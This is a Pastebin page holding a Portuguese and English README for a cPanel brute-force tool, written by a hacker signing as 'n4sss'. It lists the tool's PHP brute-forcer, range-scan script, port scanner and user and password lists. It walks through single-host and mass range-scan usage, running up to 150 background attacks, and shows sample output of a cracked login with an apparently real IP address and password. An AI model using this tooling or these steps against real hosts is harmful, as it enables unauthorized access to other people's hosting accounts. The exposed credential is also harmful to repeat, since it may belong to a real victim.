Advertisement
sirnon

cpanel.sh

Jul 28th, 2013
176
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 4.95 KB | None | 0 0
  1.                    _..@._
  2.                  .'      `\
  3.                / -   -    |
  4.               /  a   a    /,
  5.     ,         |   ^      D) )
  6.    ||\ ,      \  .__,   /'.  '.
  7.   |\`,'/   .-';`-.___..;.-'\   \
  8.     \  _|  /    |     .`      _.;                 Happy new yeaR!
  9.      |  -.`|    \         _.-'| |                Let's celebrate :D
  10.       \  ' \  2  |  .   .'    | |
  11.        '._/`;  0  \    /     /___\.           Cpanel brute force by n4sss
  12.         /   \  1  \  |    .`;,' _\_           ready to Single/Range mode
  13.          |    \  3  '.|  _/___|_/_|_}_
  14.        /\__ ' `'.   ';  \___________/
  15.         | ',`'-.,_'.   \  |         |
  16.        \/`'.   ._,;`'. \ |  HAPPY  |                30/12/2012
  17.         \   `\.'   `| \ ||   NEW   |        <3 The king of fighters 2002
  18.           |  .'      /-`\/|  YEAR!  |
  19.          ;.'  . _.'`  / ||         |           Greetx to BR-underground
  20.         .'   ,-'     / / ;`-------`;               And my cherry
  21.        /  .'`;       \ (  '._   _.'                  d4y.m3nz3z <3
  22.         \  (   \       `     )`'`(
  23.         \_,())))     jgs  .'     '.
  24.                          `"""""""""`
  25.  
  26. Portuguese:
  27. -Cpanel brute force via range/single mode.
  28. -Arquivos Padrões:
  29.     - cpanel_brute.php => Script para o brute force (cpanel)!
  30.     - cpanel_brute.sh => Script para automatizar o scan range
  31.     - ps => Port scan para indentificar hosts vivos na porta :2082 por exemplo
  32.     - u.txt => Lista de usuarios
  33.     - p.txt => Lista de senhas
  34.     - cpanel_error_log.txt => Log de erros durante execução do script ex: avisos/alertas ref. curl
  35.    
  36. - Durante execução alguns usuarios podem receber a seguinte mensagem:
  37. => PHP Fatal error:  Call to undefined function curl_init()
  38.  
  39. Para fix do mesmo instalar:
  40. php5-curl devidamente
  41. ex:
  42.  
  43. aptitude install php5-curl
  44. ou utility de preferencia.
  45.  
  46. Uso do script:
  47.  
  48. Single mode:
  49. --------------------------------------------------------------------------------------------------------
  50. root@m4g1cl4b:~/n4s/cpanel_brute# php cpanel_brute.php 187.108.192.25
  51. Cpanel brute force by n4sss!
  52. [+] Wait!
  53. [+] Cracking Success: 187.108.192.25 => candango:123456
  54.  
  55. Apos o brute ter sucesso nos testes um arquivo chamado cpanel_open.txt sera criado para registrar
  56. os hosts capturados:
  57.  
  58. root@m4g1cl4b:~/n4s/cpanel_brute# cat cpanel_open.txt
  59. [+]187.108.192.25 => candango:123456
  60. --------------------------------------------------------------------------------------------------------
  61.  
  62. Range scan mode:
  63. --------------------------------------------------------------------------------------------------------
  64.  
  65. root@m4g1cl4b:~/n4s/cpanel_brute# ./start 110.120
  66. Cpanel brute force by n4ssS!
  67. Just brute! (:
  68.  
  69. [+] Scanam: 110.120.17.* (total: 450) (80.7% done)
  70.  
  71. Apos a busca de hosts vivos na porta 2082, o script inicial chama o php
  72. php cpanel_brute.php $i > /dev/null &
  73. com um simples contador para a variavel não exceder o numero maior que 150 hosts por vez.
  74.  
  75. durante o brute basta verificar o processo em segundo plano
  76. root@m4g1cl4b:~/n4s/cpanel_brute# ps aux | grep php
  77.  
  78. root      1847  2.0  1.7 124812  8948 pts/2    S+   14:01   0:00 php cpanel_brute.php 187.108.192.25
  79.  
  80. --------------------------------------------------------------------------------------------------------
  81.  
  82. ####################
  83.  
  84. English
  85.  
  86. Cpanel-range via brute force / single mode.
  87. Standards-Files:
  88. - Cpanel_brute.php => Script to brute force (cpanel)!
  89. - Cpanel_brute.sh => Script to automate the scan range
  90. - Ps => Port scan for indetify hosts living on port: 2082 for example
  91. - U.txt => List of users
  92. - P.txt => List of passwords
  93. - Cpanel_error_log.txt => Log errors during script execution ex: warnings / alerts ref. curl
  94.  
  95. - During implementation some users may receive the following message:
  96. => PHP Fatal error: Call to undefined function curl_init ()
  97.  
  98. To fix the same install:
  99. php5-curl properly
  100. eg
  101.  
  102. aptitude install php5-curl
  103. or preferably utility.
  104.  
  105. Using the script:
  106.  
  107. Single mode:
  108.  
  109. root@m4g1cl4b:~/n4s/cpanel_brute# php cpanel_brute.php 187.108.192.25
  110. Cpanel brute force by n4sss!
  111. [+] Wait!
  112. [+] Cracking Success: 187.108.192.25 => candango:123456
  113.  
  114. After the brute succeed in testing a file called cpanel_open.txt will be created to record
  115. hosts captured:
  116.  
  117. root@m4g1cl4b:~/n4s/cpanel_brute# cat cpanel_open.txt
  118. [+]187.108.192.25 => candango:123456
  119.  
  120.  
  121. Range scan mode:
  122.  
  123.  
  124. root@m4g1cl4b:~/n4s/cpanel_brute# ./start 110.120
  125. Cpanel brute force by n4ssS!
  126. Just brute! (:
  127.  
  128. [+] Scanam: 110.120.17.* (total: 450) (80.7% done)
  129.  
  130. After searching for hosts living on port 2082, the initial script calls the php
  131. php cpanel_brute.php $ i> / dev / null &
  132. with a simple counter for the variable does not exceed the number more than 150 hosts at a time.
  133.  
  134. during the brute just check the background process
  135. root@m4g1cl4b:~/n4s/cpanel_brute# ps aux | grep php
  136.  
  137. root      1847  2.0  1.7 124812  8948 pts/2    S+   14:01   0:00 php cpanel_brute.php 187.108.192.25
  138.  
  139. ################################
  140.  
  141.  
  142. 30/12/2012
  143. n4sss
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement